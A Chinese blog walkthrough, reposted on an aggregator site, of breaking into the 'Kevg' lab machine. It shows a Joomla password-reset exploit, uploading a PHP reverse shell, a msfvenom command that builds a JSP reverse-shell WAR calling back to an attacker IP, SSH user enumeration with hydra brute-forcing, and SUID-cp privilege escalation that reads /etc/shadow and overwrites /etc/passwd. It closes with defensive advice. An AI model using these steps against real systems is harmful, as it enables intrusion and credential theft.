我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Kevg靶机渗透实现 8080端口 8081端口 1322端口实现

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Kevg靶机渗透实现 8080端口 8081端口 1322端口实现

一、信息搜集

先使用ifconfig查看本机ip:
在这里插入图片描述

用nmap工具扫描本机ip段下的主机:
在这里插入图片描述

发现目标靶机ip为192.168.152.134
查看目标靶机开放了哪些端口:
在这里插入图片描述

发现80,8080,8081,9000端口上开放了HTTP服务,1322端口开放了SSH服务,可以作为漏洞突破点

二、外网突破

  1. 对于8081端口进行突破
    在这里插入图片描述

通过搜索可以发现,有一个对于此系统的漏洞扫描工具joomscan,扫描此网页:
在这里插入图片描述

有很多此系统的漏洞,这里我选择CVE-2008-3681,是远程修改密码,通过点击链接进入,发现已经给出实例:
在这里插入图片描述

我们用这种方法尝试对于8081端口进行修改
先输入192.168.152.134:8081/index.php?option=com_user&view=reset&layout=confirm,输入令牌为“’”,修改password,我设置为admin
在这里插入图片描述
在这里插入图片描述

通过admin账户和刚修改的密码登入系统
在这里插入图片描述

我们通过template manager中的beez来上传反弹shell的php代码,通过查看本机的文件发现自带的有php-reverse-shell.php
在这里插入图片描述

修改其中的ip为主机ip,端口设置为1234
在这里插入图片描述

上传成功后我们用nc工具监听我们的1234端口,同时访问该文件的网页
在这里插入图片描述

python3 -c 'import pty;pty.spawn("/bin/bash")' 来转化为交互式shell,至此获得了shell

  1. 8080端口渗透
    查看网页,tomcat7
    在这里插入图片描述

使用nikto扫描网页 nikto -h http://192.168.211.134:8080
在这里插入图片描述

发现tomcat的弱口令ID:tomcat PW:tomcat,找到管理页并登入
在这里插入图片描述
在这里插入图片描述

登陆之后
在这里插入图片描述

发现可以上传war包, 这里我们可以通过上传一个反弹 shell的war,然后再监听端口,从而拿到shell的控制权
在这里插入图片描述

用kali生成一个war并上传
Msfvenom -p java/jsp_shell_reverse_tcp LHOST = 192.168.211.131 LPORT = 1111 war > a_jsp_shell_1111.war
在这里插入图片描述
在这里插入图片描述

访问http://192.168.211.134:8080/a_jsp_shell_1111/
监听1111端口得到shell
在这里插入图片描述

  1. 1322端口
    首先通过nmap扫描靶机信息:
    在这里插入图片描述

发现1322端口运行的是ssh协议,又发现其版本为OPENSSH 6.6.lpl通过msfconsole查询openssh的漏洞:
在这里插入图片描述

我们使用第3个漏洞,是用于枚举服务器存在的用户的
在这里插入图片描述

设置目标主机和端口,同时设置要爆破用用户名字典,使用的为kali自带的/usr/share/wordlists/metasploit/piata_ssh_userpass.txt,设置成功查看options
在这里插入图片描述

成功后开始run执行,记录搜索出来的用户名
在这里插入图片描述

用hydra进行弱口令爆破admin的密码为admin
在这里插入图片描述

通过ssh远程登录靶机的shell
在这里插入图片描述

成功获取shell
在这里插入图片描述

三、权限提升

通过find / -perm -u=s -type f 2>/dev/null查找系统中赋予了s权限的程序
在这里插入图片描述

我们通过cat etc/passwd查看发现,有root,admin,user三个用户可以是使用
在这里插入图片描述

由于我们权限无法直接访问etc/shadow,所以我们使用之前发现的有s权限的cp命令将其复制到tmp目录下查看
在这里插入图片描述
在这里插入图片描述

发现三个用户名的密码,是密文。将admin信息复制到kali桌面文件夹保存
在这里插入图片描述

用john工具进行密码爆破,由于之前爆破过,报告中我们直接show其结果
在这里插入图片描述

得到admin账户的密码为admin
我们在自己的kali中添加admin用户,并将其用户id和组id设置为0
在这里插入图片描述

在主机中搭建一个简单的http服务器,端口号默认设置为8000
在这里插入图片描述

由于靶机中/tmp文件不需要高权限,所以我们把kali主机中的passwd下载到靶机中的tmp中
在这里插入图片描述

由于cp具有root权限,所以我们用cp把下载的passwd覆盖靶机中原/etc/passwd,此时admin的权限为root
在这里插入图片描述

我们su admin切换用户,使用id和whoami确认奕获得root权限,至此提权成功
在这里插入图片描述

四、 系统防护

  1. 在获得admin的密码的时候,使用到了哈希值爆破密码,我们可以使用对于密码明文加密后的哈希值再次进行加密得到一个“哈希值的哈希值”,这样可以有效的防止如john等hash值爆破工具轻松的破解出明文密码。
  2. 文件上传漏洞是攻击者通过上传⽊马⽂件,直接得到,危害等级超级⾼,现在的⼊侵中上传漏洞也是常见的漏洞。导致该漏洞的原因在于代码作者没有对访客提交的数据进⾏检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。建议对⽂件格式限制,只允许某些格式上传。
  3. 权限提升。权限提升是指利⽤系统中的或是别的⽅法使得⾃⼰突破了原来的限制,能够⾮法访问对⽅⽬录甚⾄是使得⾃⼰能够向那样来获取整个权限。 建议:1.定期进⾏固件、中间件的升级。不要给用户设置⼯作之外的权限。对⽂件格式限制,只允许某些格式上传。
  4. 弱口令爆破漏洞。应用存在默认口令或口令较简单易被猜到。会被一些弱口令爆破工具得到口令。建议一是设置更为复杂的口令,使得爆破口令变得困难,二是一段时间要更换新的口令,防止攻击者利用爆破的口令多次入侵系统。

来源地址:https://blog.csdn.net/m0_56705273/article/details/128163192

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Kevg靶机渗透实现 8080端口 8081端口 1322端口实现

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

SSH端口转发实现内网穿透的实现

我们局域网的机器能够访问外网,但是外网不能访问内网。因为内网访问互联网时候能确定外网的地址,外网却不能确定我们局域网内的具体地址。(ip地址有限)如果 我们在访问外网的时候,这个链接让他保持、不断,那么这个链接就相当于我们建了一条路
2022-06-04

Python实现端口检测

一、背景:在平时工作中有遇到端口检测,查看服务端特定端口是否对外开放,常用nmap,tcping,telnet等,同时也可以利用站长工具等web扫描端口等。但是在使用站长工具发现:每次只能输入一个检测的地址;虽然可以输入多个端口,但是不能指
2023-01-31

node.js实现端口转发

本文为大家分享的是node.js端口转发实现代码,供大家参考,具体内容如下#!/sbin/nodevar net = require('net');function proxyPort(srcport,destServer,destport
2022-06-04

Go语言实现单端口转发到多个端口

这篇文章介绍了如何利用Go语言实现单端口转发到多个端口。通过创建监听器、接受连接、创建转发器和复制数据,可以轻松将来自一个端口的流量转发到多个不同的端口。这在网络中非常有用,可以将请求从一个端口重定向到多个服务或应用程序。代码示例展示了如何创建监听器、接受连接、创建转发器并复制数据。
Go语言实现单端口转发到多个端口
2024-04-02

云服务器端口映射:实现内网端口的访问

什么是端口映射?在云服务器中,端口映射是一种将外部网络请求转发到内部网络的技术。通过端口映射,可以将云服务器的公网IP地址和端口与内网服务器的IP地址和端口进行绑定,从而实现对内网服务的访问。为什么需要端口映射?在云服务器中,内网IP地址是私有的,无法直接从公网访问。但是,有时候我们需要将内网的服务暴露给外部网络,例如
云服务器端口映射:实现内网端口的访问
2023-10-28

ubuntu开启22端口的实现

场景 需要通过xshell工具,通过ssh连接ubuntu服务器。默认端口22。 结果 常规连接命令行连接//直接通过命令连接 ssh 远程机器名@192.168.67.128 或者 telnet 192
2022-06-04

Apache实现多端口多主机名配置

1.基于域名的虚拟主机(不同域名相同IP和端口)向DNS服务提供虚拟Web站点的域名,以便当访问其中任何一个虚拟Web站点时,最终访问的都是同一个IP地址。 2.基于端口的虚拟主机(不同端口相同IP)通常只用于同一个Web站点,其网站的名称
2022-06-04

python 实现端口连通性检测

# -*- coding: utf-8 -*-#!/bin/env python#AUTHOR:karl#DATE:2018-1-19#VERSION:V1.0######################import timeimport 
2023-01-31

使用VirtualBox实现端口转发,以

先来认识几个概念(1)IP地址:又称为互联网协议地址,是计算机的物理地址,相当于计算机的编号,是32位的二进制数,通常被分割成4个8位的二进制数;(2)端口:指设备与外界通讯的接口,一台计算机的端口数为65536个,按类型可以分为周知端口、
2023-01-30

Linux中怎么实现端口转发

这篇文章将为大家详细讲解有关Linux中怎么实现端口转发,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。1. SSH 端口转发SSH 提供了一个非常有意思的功能,就是端口转发,它能够将其他 T
2023-06-15

nginx实现数据库端口转发

本文主要介绍了nginx实现数据库端口转发,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
2023-03-07

怎么用SpringBoot实现后端接口

本篇内容介绍了“怎么用SpringBoot实现后端接口”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!所需依赖包这里用的是SpringBoot
2023-06-16

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录